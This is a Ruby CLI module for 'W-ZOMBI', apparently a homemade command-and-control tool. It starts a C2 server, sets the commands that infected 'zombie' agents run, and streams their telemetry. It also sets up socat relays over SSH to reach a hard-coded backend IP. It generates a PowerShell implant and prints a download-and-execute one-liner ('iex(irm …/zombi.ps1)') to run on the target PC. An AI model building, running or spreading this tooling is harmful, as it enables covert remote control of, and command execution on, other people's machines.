dtic-DIIAA/adn/tools/cli/wzombi.rb

# frozen_string_literal: true

require 'optparse'
require 'json'
require 'shellwords'
require_relative '../core/colores'
require_relative '../w-zombi/lib/wzombi/config'
require_relative '../w-zombi/lib/wzombi/server'
require_relative '../w-zombi/lib/wzombi/command_store'
require_relative '../w-zombi/lib/wzombi/engine/ps1_builder'

module ADN
  class SubcomandoWZombi
    def initialize(args, logger)
      @args = args
      @logger = logger
      @base_path = File.expand_path('../w-zombi', __dir__)
      @config = WZombi::Config.new(base_path: @base_path)
    end

    def ejecutar
      if @args.empty?
        ayuda
        return
      end

      accion = @args[0]
      case accion
      when 'start'
        iniciar_servidor
      when 'cmd'
        actualizar_comando(@args[1])
      when 'log'
        ver_logs
      when 'relay'
        cmd_relay(@args[1..-1])
      when 'ayuda', '-h', '--help'
        ayuda
      else
        @logger.error("Acción desconocida: #{accion}")
        ayuda
        exit 1
      end
    end

    private

    def iniciar_servidor
      @logger.info("Iniciando servidor W-ZOMBI v2.1")
      begin
        WZombi::Server.new(@config).start
      rescue Errno::EADDRINUSE
        @logger.error("El puerto #{@config.puerto} ya está en uso.")
        exit 1
      rescue => e
        @logger.error("Error al iniciar el servidor: #{e.message}")
        exit 1
      end
    end

    def actualizar_comando(comando)
      if comando.nil? || comando.empty?
        @logger.error("Debe especificar un comando. Uso: wzombi cmd \"comando\"")
        exit 1
      end
      store = WZombi::CommandStore.new(@config.cmd_path)
      store.update(comando)
      @logger.exito("Comando actualizado: #{comando}")
    end

    def ver_logs
      log_path = @config.log_path
      unless File.exist?(log_path)
        @logger.advertencia("No hay logs disponibles en #{log_path}")
        return
      end
      puts "#{Color::CYAN}🛰️  Telemetría W-ZOMBI (tail -f)#{Color::RESET}"
      # Usamos exec para ceder el control al proceso tail si el usuario lo desea, 
      # o system para volver después.
      system("tail -f #{log_path}")
    end

    # ─── Relay: gestión de socat relays en nodos intermedios ────────

    def cmd_relay(args)
      subcmd = args&.shift
      case subcmd
      when 'start'
        relay_start(args)
      when 'stop'
        relay_stop(args)
      when 'status'
        relay_status(args)
      when 'ps1'
        relay_ps1(args)
      else
        puts <<~HELP
          #{Color::CYAN}🧟 W-ZOMBI Relay Switch#{Color::RESET}
          
          Uso: ./adn/tools/run wzombi relay <acción> [args]

          Acciones:
            start <host> [port]       Inicia relay socat (default port: 8001)
            stop <host> [port]        Detiene relay
            status <host> [port]      Verifica estado del relay
            ps1 <ip_lan> [port]       Genera PS1 para zombi vía relay

          Ejemplo completo:
            wzombi relay start srv-dasu 8001
            wzombi relay ps1 192.168.1.13 8001
            wzombi cmd "ipconfig /all"
            wzombi relay status srv-dasu
            wzombi relay stop srv-dasu
        HELP
      end
    end

    def relay_start(args)
      host = args&.shift
      port = args&.shift || "8001"
      unless host
        @logger.error("Falta host. Uso: wzombi relay start <host> [port]")
        exit 1
      end

      ns8_ip = ENV.fetch("WZ_NS8_IP", "100.111.195.4")
      ns8_port = @config.puerto

      puts "#{Color::CYAN}🧟 Relay W-Zombi: #{host}:#{port} → NS8(#{ns8_ip}:#{ns8_port})#{Color::RESET}"

      # Matar relay anterior
      system("ssh #{host} 'pkill -f \"socat.*TCP-LISTEN:#{port}\" 2>/dev/null'")
      sleep 0.5

      # Lanzar socat relay
      socat_cmd = "socat TCP-LISTEN:#{port},fork,reuseaddr,bind=0.0.0.0 TCP:#{ns8_ip}:#{ns8_port}"
      ssh_cmd = "ssh #{host} 'nohup #{socat_cmd} > /tmp/wzombi-relay.log 2>&1 & echo PID:$!'"
      output = `#{ssh_cmd} 2>&1`.strip
      pid = output[/PID:(\d+)/, 1]

      if pid
        sleep 1
        test = `ssh #{host} "curl -s --connect-timeout 3 http://localhost:#{port}/cmd.json" 2>/dev/null`.strip
        if test.include?('"cmd"')
          @logger.exito("Relay activo — #{host}:#{port} → NS8:#{ns8_port} (PID: #{pid})")
          puts "   #{Color::DIM}Test: #{test}#{Color::RESET}"
          puts "\n   #{Color::YELLOW}Para generar PS1: wzombi relay ps1 <IP_LAN_de_#{host}> #{port}#{Color::RESET}"
        else
          @logger.advertencia("Relay lanzado (PID: #{pid}) pero no responde")
          puts "   Revisar: ssh #{host} cat /tmp/wzombi-relay.log"
        end
      else
        @logger.error("Error lanzando relay en #{host}")
        exit 1
      end
    end

    def relay_stop(args)
      host = args&.shift
      port = args&.shift || "8001"
      unless host
        @logger.error("Falta host. Uso: wzombi relay stop <host> [port]")
        exit 1
      end

      system("ssh #{host} 'pkill -f \"socat.*TCP-LISTEN:#{port}\"' 2>/dev/null")
      @logger.exito("Relay detenido en #{host}:#{port}")
    end

    def relay_status(args)
      host = args&.shift
      port = args&.shift || "8001"
      unless host
        @logger.error("Falta host. Uso: wzombi relay status <host> [port]")
        exit 1
      end

      # Verificar si socat está escuchando
      listening = `ssh #{host} "ss -tlnp 2>/dev/null | grep :#{port}" 2>/dev/null`.strip
      response = `ssh #{host} "curl -s --connect-timeout 3 http://localhost:#{port}/cmd.json" 2>/dev/null`.strip

      if !listening.empty? && response.include?('"cmd"')
        @logger.exito("Relay ACTIVO en #{host}:#{port}")
        puts "   #{Color::DIM}Respuesta: #{response}#{Color::RESET}"
      elsif !listening.empty?
        @logger.advertencia("Relay escuchando en #{host}:#{port} pero backend no responde")
      else
        @logger.error("Relay NO activo en #{host}:#{port}")
      end
    end

    def relay_ps1(args)
      relay_ip = args&.shift
      relay_port = args&.shift || "8001"
      unless relay_ip
        @logger.error("Falta IP del relay. Uso: wzombi relay ps1 <ip_lan> [port]")
        exit 1
      end

      host = "#{relay_ip}:#{relay_port}"
      ps1 = WZombi::Engine::PS1Builder.build(host: host)

      puts "#{Color::CYAN}🧟 PS1 para zombi vía relay (#{host})#{Color::RESET}"
      puts "#{Color::DIM}─────────────────────────────────────────────#{Color::RESET}"
      puts ps1
      puts "#{Color::DIM}─────────────────────────────────────────────#{Color::RESET}"
      puts "\n#{Color::YELLOW}En PowerShell de la PC target:#{Color::RESET}"
      puts "  iex(irm http://#{host}/zombi.ps1)"
      puts "\n#{Color::YELLOW}O copiar/pegar el PS1 de arriba directamente.#{Color::RESET}"
    end

    def ayuda
      puts <<~HELP
        #{Color::CYAN}🧟 Herramienta W-ZOMBI v2.1#{Color::RESET}
        
        Uso: ./adn/tools/run wzombi <acción> [argumentos]

        Acciones:
          start              Levanta el servidor C2 (WEBrick)
          cmd "<comando>"    Actualiza el comando para los agentes
          log                Muestra la telemetría en tiempo real (tail -f)
          relay <sub> [args] Gestión de relays (ver: wzombi relay)
          ayuda              Muestra esta ayuda

        Ejemplos:
          ./adn/tools/run wzombi cmd "ipconfig /all"
          ./adn/tools/run wzombi start
          ./adn/tools/run wzombi relay start srv-dasu
      HELP
    end
  end
end